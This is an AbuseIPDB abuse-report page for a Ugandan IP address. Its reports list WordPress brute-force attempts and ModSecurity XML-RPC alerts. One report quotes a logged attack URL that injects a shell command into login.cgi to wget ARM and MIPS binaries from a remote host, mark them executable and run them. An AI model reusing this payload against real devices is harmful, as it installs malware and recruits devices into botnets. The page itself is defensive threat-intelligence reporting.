JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 102.203.209.220

102.203.209.220 was found in our database!

This IP was reported 15 times. Confidence of Abuse is 44%: ?

44%

ISP	Savanna Fibre Limited
Usage Type	Fixed Line ISP
ASN	AS329415
Domain Name	savannafibre.com
Country	🇺🇬 Uganda
City	Kampala, Central Region

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 102.203.209.220

Whois 102.203.209.220

IP Abuse Reports for 102.203.209.220:

This IP address has been reported a total of 15 times from 11 distinct sources. 102.203.209.220 was first reported on April 10th 2026, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 dwmp	2026-06-05 09:59:41 (1 week ago)	WordPress login Brute-Force	Brute-Force Web App Attack
Anonymous	2026-06-05 09:52:21 (1 week ago)	Attac	Brute-Force
🇺🇸 TPI-Abuse	2026-06-04 17:07:15 (2 weeks ago)	(mod_security) mod_security (id:240335) triggered by 102.203.209.220 (-): 1 in the last 300 secs; Po ... show more (mod_security) mod_security (id:240335) triggered by 102.203.209.220 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Jun 04 13:07:11.749948 2026] [security2:error] [pid 19475:tid 19496] [client 102.203.209.220:3039] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 102.203.209.220 (+1 hits since last alert)\|visionforandfromchildren.org\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "visionforandfromchildren.org"] [uri "/xmlrpc.php"] [unique_id "aiGwv_FF-PWEyG4P317WUwAAANE"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-06-04 14:01:05 (2 weeks ago)	(mod_security) mod_security (id:240335) triggered by 102.203.209.220 (-): 1 in the last 300 secs; Po ... show more (mod_security) mod_security (id:240335) triggered by 102.203.209.220 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Jun 04 10:01:00.797375 2026] [security2:error] [pid 26257:tid 26257] [client 102.203.209.220:3627] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 102.203.209.220 (+1 hits since last alert)\|serranoscoffee.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "serranoscoffee.com"] [uri "/xmlrpc.php"] [unique_id "aiGFHOIxaOXckF3qZlNIvwAAAAQ"] show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2026-06-04 09:09:16 (2 weeks ago)	Attac	Brute-Force
🇺🇸 integrantservices.com	2026-06-03 15:48:02 (2 weeks ago)	(wordpress) Failed wordpress login from 102.203.209.220 (UG/Uganda/-)	Brute-Force
Anonymous	2026-06-03 12:14:10 (2 weeks ago)	[da.kdns.gr] httpd-xmlrpc-post: sites=xamogelo.edu.gr; logs=/var/log/httpd/domains/xamogelo.edu.gr.l ... show more [da.kdns.gr] httpd-xmlrpc-post: sites=xamogelo.edu.gr; logs=/var/log/httpd/domains/xamogelo.edu.gr.log; samples=/xmlrpc.php show less	Brute-Force Web App Attack
🇩🇪 netclix.gr	2026-06-03 12:12:21 (2 weeks ago)	(wordpress) Failed wordpress login from 102.203.209.220 (UG/Uganda/-): (CF_ENABLE)	Brute-Force
🇩🇪 grassau.com	2026-06-01 14:25:45 (2 weeks ago)	(wordpress) Failed wordpress login from 102.203.209.220 (UG/Uganda/Kampala District/Kampala/-)	Brute-Force
🇺🇸 TPI-Abuse	2026-06-01 11:44:35 (2 weeks ago)	(mod_security) mod_security (id:240335) triggered by 102.203.209.220 (-): 1 in the last 300 secs; Po ... show more (mod_security) mod_security (id:240335) triggered by 102.203.209.220 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Jun 01 07:44:28.701241 2026] [security2:error] [pid 24807:tid 24807] [client 102.203.209.220:12431] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5965"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 102.203.209.220 (+1 hits since last alert)\|livinghopehighschool.org\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "livinghopehighschool.org"] [uri "/xmlrpc.php"] [unique_id "ah1wnDfrT8pldUmbmIPIzQAAAAA"] show less	Brute-Force Bad Web Bot Web App Attack
🇩🇪 abdubhai	2026-06-01 11:39:07 (2 weeks ago)	102.203.209.220 - - [01/Jun/2026 ...	Brute-Force
Anonymous	2026-06-01 09:10:40 (2 weeks ago)	Attac	Brute-Force
🇫🇷 masterguru	2026-06-01 08:09:43 (2 weeks ago)	(xmlrpc) Apache: Failed xmlrpc access from 102.203.209.220 (UG/Uganda/-): 10 in the last 3600 secs ( ... show more (xmlrpc) Apache: Failed xmlrpc access from 102.203.209.220 (UG/Uganda/-): 10 in the last 3600 secs (0-201) show less	Hacking
Anonymous	2026-04-11 08:06:27 (2 months ago)	Unauthorized connection attempt	Port Scan Hacking Exploited Host
🇺🇸 jkhorvath.com	2026-04-10 18:54:38 (2 months ago)	Request for URL /login.cgi?cli=aa%20aa%27;wget%20http:/85.11.167.101/arm7%20-O%20/tmp/arm7;chmod%207 ... show more Request for URL /login.cgi?cli=aa%20aa%27;wget%20http:/85.11.167.101/arm7%20-O%20/tmp/arm7;chmod%20777%20/tmp/arm7;/tmp/arm7;wget%20http:/85.11.167.101/mips%20-O%20/tmp/mips;chmod%20777%20/tmp/mips;/tmp/mips%20dlink%27$ show less	Phishing Brute-Force Web App Attack

Showing 1 to 15 of 15 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 106.75.224.165

🇫🇷 91.196.152.37

🇺🇸 216.152.249.82

🇨🇳 120.230.29.108

🇲🇾 61.4.110.108

🇦🇿 5.191.246.197

🇧🇷 152.67.46.203

🇮🇪 52.50.57.196

🇳🇱 45.148.10.141

🇫🇷 5.189.130.46

🇧🇷 2804:14c:160:8020:7077:fb62:fabf:f7ff

🇧🇷 205.210.31.159

🇺🇸 173.234.226.123

🇬🇧 172.69.224.153

🇬🇧 172.69.224.152

🇫🇮 147.185.133.31

🇺🇸 147.185.132.73

🇹🇼 114.34.106.146

🇳🇱 86.54.31.34

🇺🇸 52.201.155.215